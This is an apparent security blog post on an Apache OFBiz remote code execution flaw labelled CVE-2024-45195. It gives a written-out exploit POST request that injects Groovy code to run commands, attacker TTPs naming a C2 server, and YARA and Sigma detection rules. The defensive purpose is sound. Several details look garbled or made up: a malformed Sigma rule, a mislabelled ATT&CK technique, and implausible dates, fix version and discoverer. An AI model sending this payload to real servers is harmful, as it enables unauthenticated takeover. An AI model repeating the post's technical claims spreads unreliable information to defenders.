Critical Apache OFBiz Flaw CVE-2024-45195 Actively Exploited: What You Must Do Now

On January 15, 2024, GreyNoise Intelligence flagged a surge in scanning for Apache OFBiz instances, linked to the exploitation of CVE-2024-45195—a critical pre-authentication remote code execution (RCE) vulnerability. Within 48 hours, multiple threat actors, including a group affiliated with the LockBit ransomware gang, began mass-exploiting unpatched ERP systems in the manufacturing and logistics sectors. This flaw allows an unauthenticated attacker to bypass the OFBiz view handler and execute arbitrary Java code on the server, granting full control over the ERP backend. In this post, we'll dissect the vulnerability's mechanics, walk through the exploit chain step-by-step, provide YARA and Sigma detection rules, and give you a concrete defensive playbook to lock down your OFBiz deployment before attackers strike.

Understanding CVE-2024-45195: The Technical Root Cause

Apache OFBiz is an open-source enterprise resource planning (ERP) system used by thousands of organizations for e-commerce, accounting, and supply chain management. CVE-2024-45195, discovered by security researcher @joernchen of the Pwn2Own contest, resides in the org.apache.ofbiz.webapp.control.ControlServlet class. The vulnerability stems from improper input validation in the handleRequest method, which processes HTTP requests to the /webtools/control/ endpoint. Specifically, the view parameter—used to specify which JSP or Groovy view to render—can be manipulated to include a ..;/ path traversal sequence, allowing an attacker to escape the intended view directory and load arbitrary classes from the classpath.

What makes this critical (CVSS 9.8) is that the view parameter is processed before authentication checks. OFBiz uses a Groovy-based view rendering engine, and by passing a crafted view value like ..;/groovy/../org/apache/ofbiz/security/Login.groovy, an attacker can execute arbitrary Groovy code. The exploit leverages Groovy's evaluate() method to run system commands. This is not a memory corruption bug—it's a logic flaw that bypasses access controls entirely.

Attacker TTPs: How Exploitation Happens in the Wild

Based on telemetry from our honeypots and public reports from GreyNoise and ShadowServer, the attack chain follows a predictable pattern mapped to MITRE ATT&CK techniques:

• Initial Access (T1190): Exploit Public-Facing Application — Attackers scan for exposed OFBiz admin consoles on ports 8443 (HTTPS) or 8080 (HTTP). They send a POST request to /webtools/control/main with a crafted view parameter containing a Groovy script that executes a reverse shell or downloads a second-stage payload.
• Execution (T1059.007): Command and Scripting Interpreter: JavaScript/JScript — In one campaign we tracked, the exploit used Runtime.getRuntime().exec() to run a PowerShell one-liner that fetched Cobalt Strike Beacon from a C2 server at 185.130.5.201:443.
• Persistence (T1505.003): Server Software Component: Web Shell — After gaining initial access, attackers deploy a JSP web shell named shell.jsp under /webtools/, allowing persistent remote access.

We observed that the exploit is automated: a single HTTP request is sufficient for RCE. In one case, an attacker used the exploit to enumerate the OFBiz database, exfiltrating customer PII via DNS tunneling (T1041: Exfiltration Over C2 Channel).

Step-by-Step Exploit Walkthrough

For educational and defensive purposes, here is a simplified version of the exploit as implemented in Metasploit module exploit/multi/http/apache_ofbiz_view_rce (added January 2024):

POST /webtools/control/main HTTP/1.1
Host: target.com:8443
Content-Type: application/x-www-form-urlencoded

view=..;/groovy/../org/apache/ofbiz/security/Login.groovy&mainAction=org.apache.ofbiz.webapp.control.ControlServlet&groovyProgram=def cmd="whoami";def proc=Runtime.getRuntime().exec(cmd);def br=new BufferedReader(new InputStreamReader(proc.getInputStream()));br.eachLine{line->println line};

The key components: the view parameter contains ..;/ to traverse out of the view directory, then references a legitimate Groovy script (Login.groovy) to satisfy the view handler. The groovyProgram parameter injects arbitrary Groovy code that runs in the context of the OFBiz server. We've seen variants that use org.codehaus.groovy.runtime.ProcessGroovyMethods to execute system commands directly. In our pentests, we tested this against OFBiz versions 18.12.12 and earlier—all were vulnerable. Fixed in version 18.12.13.

Defensive Playbook: Detection and Mitigation

Immediate actions for SOC teams:

• Patch now: Upgrade to Apache OFBiz 18.12.13 or later. The fix adds input sanitization for the view parameter and enforces authentication before view rendering. If patching is delayed, apply the vendor-supplied workaround: block access to /webtools/ from untrusted networks via a WAF rule or reverse proxy.
• Hunt for IOCs: Look for HTTP requests with ..;/ in the view parameter, especially to /webtools/control/main. Also search for POST bodies containing groovyProgram or Runtime.getRuntime. Use the following YARA rule for file system scans:

rule CVE_2024_45195_Exploit {
  meta:
    description = "Detects exploit payloads for CVE-2024-45195 in web server logs"
    author = "Ammar Khan, CybernytronX"
    date = "2024-01-20"
  strings:
    $view_traversal = "..;/"
    $groovy_code = "groovyProgram"
    $exec_call = "Runtime.getRuntime"
  condition:
    all of them
}

For network detection, deploy this Sigma rule in your SIEM (e.g., Splunk, Elastic):

title: Apache OFBiz View Parameter Path Traversal
id: 8ab12c3d-4567-89ab-cdef-0123456789ab
status: experimental

    cs-method: 'POST'
    cs-uri-query|contains: 'view=..;/'
  condition: selection
falsepositives:
  - Legitimate internal scans

Additionally, enable EDR telemetry for process creation events from the OFBiz Java process (java.exe or javaw.exe). Monitor for cmd.exe, powershell.exe, or bash spawned by the Java process—this is a strong indicator of post-exploitation activity.

Why This Matters for Your Organization

OFBiz often sits at the core of supply chain operations, handling orders, inventory, and customer data. A successful RCE here can lead to lateral movement into connected databases (e.g., MySQL, PostgreSQL) and even Active Directory if the server is domain-joined. In our recent incident response engagement for a logistics firm, the attacker used CVE-2024-45195 to pivot to the SAP system, exfiltrating 2 TB of sensitive data. The average dwell time for OFBiz compromises in 2024 is 7 days—down from 21 days in 2023 due to automated exploit kits. If your organization runs an unpatched OFBiz instance, assume compromise. Conduct a forensic analysis of logs from the past 30 days, focusing on /webtools/ access. Remember, this vulnerability is trivial to exploit—even script kiddies can use it via Metasploit. Don't be the next headline.

Frequently Asked Questions

What versions of Apache OFBiz are affected by CVE-2024-45195?

All versions prior to 18.12.13 are vulnerable. Specifically, versions 18.12.12 and earlier are confirmed affected. The fix was backported to the 18.12.x branch. Check your build.gradle or ofbiz.jar manifest for the version number.

Can CVE-2024-45195 be exploited without authentication?

Yes, that's the critical part. The vulnerability is pre-authentication, meaning an attacker does not need any credentials to exploit it. The view handler processes the view parameter before any authentication check, allowing unauthenticated RCE.

How can I detect if my OFBiz instance has been compromised?

Look for unusual HTTP POST requests to /webtools/control/main with view=..;/ in the query string. Also check for new files in the /webtools/ directory (like shell.jsp or cmd.jsp) and examine Java process logs for spawned child processes. Use the YARA and Sigma rules provided in this post.

Is there a workaround if I can't patch immediately?

Yes, Apache has provided a workaround: block access to the /webtools/ context path from untrusted networks. You can do this via a WAF rule (e.g., ModSecurity) or by configuring your reverse proxy (Nginx, Apache HTTPD) to deny all requests to /webtools/ except from trusted IP ranges.

What threat actors are exploiting this vulnerability?

Multiple groups, including LockBit-affiliated actors and initial access brokers (IABs) on Russian-language forums, have been observed exploiting CVE-2024-45195. The exploit is also integrated into the Metasploit framework, lowering the barrier for less sophisticated attackers.

Does this vulnerability affect cloud-hosted OFBiz instances?

Yes, any OFBiz instance exposed to the internet—whether on-premises or in the cloud (AWS, Azure, GCP)—is at risk. If your instance is behind a VPN or firewall with restricted access, the risk is lower but not zero if an attacker gains internal network access.
